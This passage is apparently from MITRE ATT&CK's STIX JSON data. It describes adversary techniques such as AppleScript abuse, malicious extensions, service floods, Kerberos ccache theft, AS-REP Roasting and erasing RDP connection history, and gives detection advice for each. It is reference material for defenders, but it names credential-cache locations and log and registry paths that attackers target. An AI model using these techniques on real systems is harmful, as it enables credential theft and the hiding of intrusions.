            "description": "Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nScripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e \"script here\"</code>. Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding <code>#!/usr/bin/osascript</code> to the start of the script file.(Citation: SentinelOne AppleScript)\n\nAppleScripts do not need to call <code>osascript</code> to execute. However, they may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s\u00a0<code>NSAppleScript</code>\u00a0or\u00a0<code>OSAScript</code>, both of which execute code independent of the <code>/usr/bin/osascript</code> command line utility.\n\nAdversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Phil Stokes, SentinelOne"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for execution of AppleScript through <code>osascript</code> and usage of the <code>NSAppleScript</code> and <code>OSAScript</code> APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation",
                "Process: OS API Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1176",
                    "external_id": "T1176"
                },
                {
                    "source_name": "Abramovsky VSCode Security",
                    "description": "Abramovsky, O. (2023, May 16). VSCode Security: Malicious Extensions Detected- More Than 45,000 Downloads- PII Exposed, and Backdoors Enabled. Retrieved March 30, 2025.",
                    "url": "https://blog.checkpoint.com/securing-the-cloud/malicious-vscode-extensions-with-more-than-45k-downloads-steal-pii-and-enable-backdoors/"
                },
                {
                    "source_name": "xorrior chrome extensions macOS",
                    "description": "Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021.",
                    "url": "https://www.xorrior.com/No-Place-Like-Chrome/"
                },
                {
                    "source_name": "Chrome Extension C2 Malware",
                    "description": "Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved September 12, 2024.",
                    "url": "https://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:58:22.784Z",
            "name": "Software Extensions",
            "description": "Adversaries may abuse software extensions to establish persistent access to victim systems. Software extensions are modular components that enhance or customize the functionality of software applications, including web browsers, Integrated Development Environments (IDEs), and other platforms.(Citation: Chrome Extension C2 Malware)(Citation: Abramovsky VSCode Security) Extensions are typically installed via official marketplaces, app stores, or manually loaded by users, and they often inherit the permissions and access levels of the host application. \n\n  \nMalicious extensions can be introduced through various methods, including social engineering, compromised marketplaces, or direct installation by users or by adversaries who have already gained access to a system. Malicious extensions can be named similarly or identically to benign extensions in marketplaces. Security mechanisms in extension marketplaces may be insufficient to detect malicious components, allowing adversaries to bypass automated scanners or exploit trust established during the installation process. Adversaries may also abuse benign extensions to achieve their objectives, such as using legitimate functionality to tunnel data or bypass security controls. \n\nThe modular nature of extensions and their integration with host applications make them an attractive target for adversaries seeking to exploit trusted software ecosystems. Detection can be challenging due to the inherent trust placed in extensions during installation and their ability to blend into normal application workflows. ",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Chris Ross @xorrior",
                "Justin Warner, ICEBRG",
                "Manikantan Srinivasan, NEC Corporation India"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\n\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.\n\nOn macOS, monitor the command line for usage of the profiles tool, such as <code>profiles install -type=configuration</code>. Additionally, all installed extensions maintain a <code>plist</code> file in the <code>/Library/Managed Preferences/username/</code> directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Network Traffic: Network Traffic Flow",
                "Command: Command Execution",
                "File: File Creation",
                "Network Traffic: Network Connection Creation",
                "Windows Registry: Windows Registry Key Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858",
            "created": "2020-02-20T15:31:43.613Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1499/002",
                    "external_id": "T1499.002"
                },
                {
                    "source_name": "Arbor SSLDoS April 2012",
                    "description": "ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on SSL: Something Old, Something New. Retrieved April 22, 2019.",
                    "url": "https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new"
                },
                {
                    "source_name": "Cisco DoSdetectNetflow",
                    "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"
                },
                {
                    "source_name": "Cloudflare HTTPflood",
                    "description": "Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved April 22, 2019.",
                    "url": "https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/"
                },
                {
                    "source_name": "Arbor AnnualDoSreport Jan 2018",
                    "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.",
                    "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T23:06:48.799Z",
            "name": "Service Exhaustion Flood",
            "description": "Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\nOne example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\n\nExternally monitor the availability of services that may be targeted by an Endpoint DoS.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Sensor Health: Host Status",
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_impact_type": [
                "Availability"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--39131305-9282-45e4-ac3b-591d2d4fc3ef",
            "created": "2020-03-11T14:28:40.064Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1195/003",
                    "external_id": "T1195.003"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:07:50.636Z",
            "name": "Compromise Hardware Supply Chain",
            "description": "Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Perform physical inspection of hardware to look for potential tampering. Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Sensor Health: Host Status"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "created": "2017-05-31T21:31:17.472Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1106",
                    "external_id": "T1106"
                },
                {
                    "source_name": "MACOS Cocoa",
                    "description": "Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020.",
                    "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1"
                },
                {
                    "source_name": "Apple Core Services",
                    "description": "Apple. (n.d.). Core Services. Retrieved June 25, 2020.",
                    "url": "https://developer.apple.com/documentation/coreservices"
                },
                {
                    "source_name": "macOS Foundation",
                    "description": "Apple. (n.d.). Foundation. Retrieved July 1, 2020.",
                    "url": "https://developer.apple.com/documentation/foundation"
                },
                {
                    "source_name": "OutFlank System Calls",
                    "description": "de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.",
                    "url": "https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/"
                },
                {
                    "source_name": "Redops Syscalls",
                    "description": "Feichter, D. (2023, June 30). Direct Syscalls vs Indirect Syscalls. Retrieved September 27, 2023.",
                    "url": "https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls"
                },
                {
                    "source_name": "GNU Fork",
                    "description": "Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020.",
                    "url": "https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html"
                },
                {
                    "source_name": "CyberBit System Calls",
                    "description": "Gavriel, H. (2018, November 27). Malware Mitigation when Direct System Calls are Used. Retrieved September 29, 2021.",
                    "url": "https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/"
                },
                {
                    "source_name": "GLIBC",
                    "description": "glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020.",
                    "url": "https://www.gnu.org/software/libc/"
                },
                {
                    "source_name": "LIBC",
                    "description": "Kerrisk, M. (2016, December 12). libc(7) \u2014 Linux manual page. Retrieved June 25, 2020.",
                    "url": "https://man7.org/linux/man-pages//man7/libc.7.html"
                },
                {
                    "source_name": "Linux Kernel API",
                    "description": "Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API. Retrieved June 25, 2020.",
                    "url": "https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html"
                },
                {
                    "source_name": "MDSec System Calls",
                    "description": "MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.",
                    "url": "https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/"
                },
                {
                    "source_name": "Microsoft CreateProcess",
                    "description": "Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa"
                },
                {
                    "source_name": "Microsoft Win32",
                    "description": "Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/api/"
                },
                {
                    "source_name": "Microsoft NET",
                    "description": "Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020.",
                    "url": "https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework"
                },
                {
                    "source_name": "NT API Windows",
                    "description": "The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25, 2020.",
                    "url": "https://undocumented.ntinternals.net/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:23.043Z",
            "name": "Native API",
            "description": "Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.\n\nNative API functions (such as <code>NtCreateProcess</code>) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API <code>CreateProcess()</code> or GNU <code>fork()</code> will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001).",
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            "x_mitre_detection": "Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. \n\nUtilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. ",
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            "id": "attack-pattern--394220d9-8efc-4252-9040-664f7b115be6",
            "created": "2024-09-17T15:02:31.324Z",
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                    "url": "https://attack.mitre.org/techniques/T1558/005",
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                    "source_name": "Binary Defense Kerberos Linux",
                    "description": " ARC Labs, Dwyer, John. Gonzalez, Eric. Hudak, Tyler. (2024, October 1). Shining a Light in the Dark \u2013 How Binary Defense Uncovered an APT Lurking in Shadows of IT. Retrieved October 7, 2024.",
                    "url": "https://www.binarydefense.com/resources/blog/shining-a-light-in-the-dark-how-binary-defense-uncovered-an-apt-lurking-in-shadows-of-it/"
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                    "source_name": "Kerberos GNU/Linux",
                    "description": "Adepts of 0xCC. (2021, January 28). The Kerberos Credential Thievery Compendium (GNU/Linux). Retrieved September 17, 2024.",
                    "url": "https://adepts.of0x.cc/kerberos-thievery-linux/"
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                {
                    "source_name": "Kekeo",
                    "description": "Benjamin Delpy. (n.d.). Kekeo. Retrieved October 4, 2021.",
                    "url": "https://github.com/gentilkiwi/kekeo"
                },
                {
                    "source_name": "SpectorOps Bifrost Kerberos macOS 2019",
                    "description": "Cody Thomas. (2019, November 14). When Kirbi walks the Bifrost. Retrieved October 6, 2021.",
                    "url": "https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f"
                },
                {
                    "source_name": "Brining MimiKatz to Unix",
                    "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.",
                    "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"
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                    "source_name": "Linux Kerberos Tickets",
                    "description": "Trevor Haskell. (2020, April 1). Kerberos Tickets on Linux Red Teams. Retrieved October 4, 2021.",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html"
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            "description": "\nAdversaries may attempt to steal Kerberos tickets stored in credential cache files (or ccache). These files are used for short term storage of a user's active session credentials. The ccache file is created upon user authentication and allows for access to multiple services without the user having to re-enter credentials. \n\nThe <code>/etc/krb5.conf</code> configuration file and the <code>KRB5CCNAME</code> environment variable are used to set the storage location for ccache entries. On Linux, credentials are typically stored in the `/tmp` directory with a naming format of `krb5cc_%UID%` or `krb5.ccache`. On macOS, ccache entries are stored by default in memory with an `API:{uuid}` naming scheme. Typically, users interact with ticket storage using <code>kinit</code>, which obtains a Ticket-Granting-Ticket (TGT) for the principal; <code>klist</code>, which lists obtained tickets currently held in the credentials cache; and other built-in binaries.(Citation: Kerberos GNU/Linux)(Citation: Binary Defense Kerberos Linux)\n\nAdversaries can collect tickets from ccache files stored on disk and authenticate as the current user without their password to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks. Adversaries can also use these tickets to impersonate legitimate users with elevated privileges to perform [Privilege Escalation](https://attack.mitre.org/tactics/TA0004). Tools like Kekeo can also be used by adversaries to convert ccache files to Windows format for further [Lateral Movement](https://attack.mitre.org/tactics/TA0008). On macOS, adversaries may use open-source tools or the Kerberos framework to interact with ccache files and extract TGTs or Service Tickets via lower-level APIs.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo) ",
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            "id": "attack-pattern--3975dbb5-0e1e-4f5b-bae1-cf2ab84b46dc",
            "created": "2022-06-15T18:00:04.219Z",
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                    "url": "https://attack.mitre.org/techniques/T1070/007",
                    "external_id": "T1070.007"
                },
                {
                    "source_name": "FreeDesktop Journal",
                    "description": "freedesktop.org. (n.d.). systemd-journald.service. Retrieved June 15, 2022.",
                    "url": "https://www.freedesktop.org/software/systemd/man/systemd-journald.service.html"
                },
                {
                    "source_name": "Microsoft RDP Removal",
                    "description": "Microsoft. (2021, September 24). How to remove entries from the Remote Desktop Connection Computer box. Retrieved June 15, 2022.",
                    "url": "https://docs.microsoft.com/troubleshoot/windows-server/remote/remove-entries-from-remote-desktop-connection-computer"
                },
                {
                    "source_name": "Moran RDPieces",
                    "description": "Moran, B. (2020, November 18). Putting Together the RDPieces. Retrieved October 17, 2022.",
                    "url": "https://www.osdfcon.org/presentations/2020/Brian-Moran_Putting-Together-the-RDPieces.pdf"
                },
                {
                    "source_name": "Apple Culprit Access",
                    "description": "rjben. (2012, May 30). How do you find the culprit when unauthorized access to a computer is a problem?. Retrieved August 3, 2022.",
                    "url": "https://discussions.apple.com/thread/3991574"
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                {
                    "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing",
                    "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.",
                    "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"
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            "description": "Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133). Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.\n\nNetwork connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under (Citation: Microsoft RDP Removal):\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers</code>\n\nWindows may also store information about recent RDP connections in files such as <code>C:\\Users\\\\%username%\\Documents\\Default.rdp</code> and `C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Terminal\nServer Client\\Cache\\`.(Citation: Moran RDPieces) Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nMalicious network connections may also require changes to third-party applications or network configuration settings, such as [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004) or tampering to enable [Proxy](https://attack.mitre.org/techniques/T1090). Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis.",
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            "type": "attack-pattern",
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            "id": "attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b",
            "created": "2020-08-24T13:43:00.028Z",
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                    "url": "https://attack.mitre.org/techniques/T1558/004",
                    "external_id": "T1558.004"
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                {
                    "source_name": "Microsoft Detecting Kerberoasting Feb 2018",
                    "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.",
                    "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/"
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                {
                    "source_name": "Harmj0y Roasting AS-REPs Jan 2017",
                    "description": "HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved September 23, 2024.",
                    "url": "https://blog.harmj0y.net/activedirectory/roasting-as-reps/"
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                {
                    "source_name": "Stealthbits Cracking AS-REP Roasting Jun 2019",
                    "description": "Jeff Warren. (2019, June 27). Cracking Active Directory Passwords with AS-REP Roasting. Retrieved August 24, 2020.",
                    "url": "https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/"
                },
                {
                    "source_name": "SANS Attacking Kerberos Nov 2014",
                    "description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.",
                    "url": "https://redsiege.com/kerberoast-slides"
                },
                {
                    "source_name": "AdSecurity Cracking Kerberos Dec 2015",
                    "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
                    "url": "https://adsecurity.org/?p=2293"
                },
                {
                    "source_name": "Microsoft 4768 TGT 2017",
                    "description": "Microsoft. (2017, April 19). 4768(S, F): A Kerberos authentication ticket (TGT) was requested. Retrieved August 24, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768"
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                {
                    "source_name": "Microsoft Kerberos Preauth 2014",
                    "description": "Sanyal, M.. (2014, March 18). Kerberos Pre-Authentication: Why It Should Not Be Disabled. Retrieved August 25, 2020.",
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            "name": "AS-REP Roasting",
            "description": "Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) \n\nPreauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user\u2019s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user\u2019s password.(Citation: Microsoft Kerberos Preauth 2014)\n\nFor each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) \n\nAn account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)",
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            "created": "2017-05-31T21:30:49.119Z",
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                {
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                    "source_name": "MSDN Registry Key Security",
                    "description": "Microsoft. (n.d.). Registry Key Security and Access Rights. Retrieved March 16, 2017.",
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                {
                    "source_name": "TrustedSignal Service Failure",
                    "description": "Hull, D. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.",
                    "url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html"
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                {
                    "source_name": "Twitter Service Recovery Nov 2017",
                    "description": "The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.",
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                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
